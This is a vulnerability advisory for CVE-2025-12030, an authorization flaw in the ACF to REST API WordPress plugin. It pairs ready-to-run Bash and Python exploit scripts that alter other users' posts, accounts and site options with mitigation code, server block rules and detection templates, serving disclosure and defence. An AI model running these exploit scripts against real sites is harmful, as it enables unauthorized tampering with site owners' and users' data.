Keywords: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security
- Overview
- Vulnerability Details
- Technical Analysis
- Attack Vector
- Proof of Concept
- Remediation Guide
- Detection
- CVSS Metrics
- References
- Credits
- Security Contact
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.
An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the ACF to REST API WordPress Plugin that allows authenticated attackers with minimal privileges to modify ACF fields across the entire WordPress installation.
Discovered by: Kai Aizen (SnailSploit)
Published: January 6, 2026
CVSS Score: 4.3 (Medium)
CWE: CWE-639 - Authorization Bypass Through User-Controlled Key
Plugin: ACF to REST API
Plugin Slug: acf-to-rest-api
Attack Type: Insecure Direct Object Reference (IDOR)
Required Privileges: Contributor+ (Authenticated Attack)
The ACF to REST API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.4. This is due to insufficient capability checks in the update_item_permissions_check() method, which only verifies that the current user has the edit_posts capability without checking object-specific permissions (e.g., edit_post($id), edit_user($id), manage_options).
This vulnerability allows authenticated attackers with Contributor-level access and above to:
- Modify ACF fields on posts they do not own - Bypass post ownership restrictions
- Modify ACF fields on any user account - Including administrator accounts
- Modify ACF fields on comments - Alter comment metadata
- Modify ACF fields on taxonomy terms - Change category/tag custom fields
- Modify the global options page - Access site-wide ACF options without
manage_optionscapability
All modifications are possible via the /wp-json/acf/v3/{type}/{id} REST API endpoints.
- Vulnerable: All versions ≤ 3.3.4
- Patched:
⚠️ No known patch available
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |
CVSS v3.1 Breakdown:
- Attack Vector (AV): Network - The vulnerability can be exploited remotely over a network
- Attack Complexity (AC): Low - No special conditions are required for exploitation
- Privileges Required (PR): Low - Requires Contributor-level authentication
- User Interaction (UI): None - The exploit works without any user interaction
- Scope (S): Unchanged - The vulnerability only affects the vulnerable component
- Confidentiality Impact (C): None - No information disclosure
- Integrity Impact (I): Low - Unauthorized modification of ACF fields
- Availability Impact (A): None - No availability impact
The vulnerability exists in the update_item_permissions_check() method which performs insufficient authorization:
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}The proper implementation should check object-specific permissions:
// Secure implementation pattern
public function update_item_permissions_check( $request ) {
$id = $request->get_param( 'id' );
$type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}| Endpoint | Target | Required Capability (Should Be) |
|---|---|---|
/wp-json/acf/v3/posts/{id} |
Posts | edit_post($id) |
/wp-json/acf/v3/pages/{id} |
Pages | edit_page($id) |
/wp-json/acf/v3/users/{id} |
Users | edit_user($id) |
/wp-json/acf/v3/comments/{id} |
Comments | edit_comment($id) |
/wp-json/acf/v3/terms/{taxonomy}/{id} |
Terms | edit_term($id) |
/wp-json/acf/v3/options/{option} |
Options | manage_options |
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.
#!/bin/bash
# CVE-2025-12030 PoC - ACF to REST API IDOR
TARGET_URL="$1"
USERNAME="$2"
APP_PASSWORD="$3"
TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then
echo "Usage: $0 <target_url> <username> <app_password> <post_id>"
echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42"
exit 1
fi
echo "[*] CVE-2025-12030 - ACF to REST API IDOR PoC"
echo "[*] Target: $TARGET_URL"
echo "[*] Target Post ID: $TARGET_POST_ID"
echo ""
# Encode credentials
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
# Step 1: Read current ACF fields (verify access)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
-H "Authorization: Basic $AUTH" \
| python3 -m json.tool
echo ""
# Step 2: Attempt to modify ACF fields on post we don't own
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
-H "Authorization: Basic $AUTH" \
-H "Content-Type: application/json" \
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo ""
if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then
echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!"
else
echo "[+] Not vulnerable or modification failed"
fi#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)Immediate Action Required:
- Consider uninstalling the plugin if ACF REST API functionality is not critical
- Restrict user registrations and review existing Contributor+ accounts
- Implement WAF rules to block unauthorized REST API modifications
- Monitor REST API activity for suspicious ACF field modifications
- Consider alternative plugins with proper authorization controls
Add to your theme's functions.php or a custom plugin:
<?php
/**
* Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
*/
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
// Only allow administrators to modify via REST API
if (!current_user_can('manage_options')) {
return new WP_Error(
'rest_forbidden',
__('You do not have permission to modify ACF fields via REST API.'),
array('status' => 403)
);
}
return $permission;
}, 10, 3);# Block ACF REST API modification endpoints for non-admins
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$
RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC]
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC]
RewriteRule .* - [F,L]
</IfModule># Block ACF REST API modification requests
location ~* ^/wp-json/acf/v3/ {
if ($request_method ~* "(PUT|POST|PATCH)") {
# Implement proper authorization check or block entirely
return 403;
}
try_files $uri $uri/ /index.php?$args;
}If forking or patching the plugin, implement proper object-specific authorization:
<?php
/**
* Secure implementation of update_item_permissions_check
*/
public function update_item_permissions_check( $request ) {
$id = $request->get_param( 'id' );
$type = $this->get_object_type( $request );
switch ( $type ) {
case 'post':
case 'page':
// Check if user can edit THIS specific post
if ( ! current_user_can( 'edit_post', $id ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'user':
// Check if user can edit THIS specific user
if ( ! current_user_can( 'edit_user', $id ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'option':
// Options require manage_options capability
if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to manage options.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'term':
$taxonomy = $request->get_param( 'taxonomy' );
$tax_obj = get_taxonomy( $taxonomy );
if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit terms.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'comment':
if ( ! current_user_can( 'edit_comment', $id ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this comment.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
default:
return new WP_Error(
'rest_invalid_type',
__( 'Invalid object type.' ),
array( 'status' => 400 )
);
}
return true;
}Search for suspicious REST API activity:
# Search access logs for ACF REST API modification attempts
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log# Check if vulnerable version is installed
wp plugin list | grep -i "acf-to-rest-api"
# Get plugin version
wp plugin get acf-to-rest-api --field=versionNuclei Template:
id: CVE-2025-12030
info:
name: ACF to REST API - IDOR ACF Field Modification
author: SnailSploit
severity: medium
description: ACF to REST API plugin for WordPress is vulnerable to IDOR
reference:
- https://github.com/SnailSploit/CVE-2025-12030
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification
tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated
http:
- raw:
- |
POST /wp-json/acf/v3/posts/1 HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}
Content-Type: application/json
{"fields":{"nuclei_test":"CVE-2025-12030"}}
matchers-condition: and
matchers:
- type: word
words:
- "acf"
condition: or
- type: status
status:
- 200ModSecurity Rule:
# CVE-2025-12030 - Block unauthorized ACF REST API modifications
SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \
"id:2025012030,\
phase:2,\
t:none,t:urlDecodeUni,t:normalizePathWin,\
chain,\
deny,\
status:403,\
log,\
msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'"
SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none"- January 6, 2026 - Vulnerability publicly disclosed
- January 6, 2026 - CVE-2025-12030 assigned
- Current -
⚠️ No patch available
- Wordfence Intelligence - CVE-2025-12030
- WordPress Plugin Trac - ACF to REST API
- WordPress Plugin Directory
- CWE-639 - Authorization Bypass Through User-Controlled Key
- OWASP - Insecure Direct Object Reference
Researcher:
Disclosure Process: Coordinated through Wordfence Bug Bounty Program
This information is provided for security research and defensive purposes only. Any exploitation of this vulnerability for malicious purposes is illegal and unethical. Always obtain proper authorization before testing systems you do not own.
For questions or additional information about this vulnerability:
- Email: kai@owasp.com
- Website: snailsploit.com
- Organization: SnailSploit Security Research
Last updated: January 6, 2026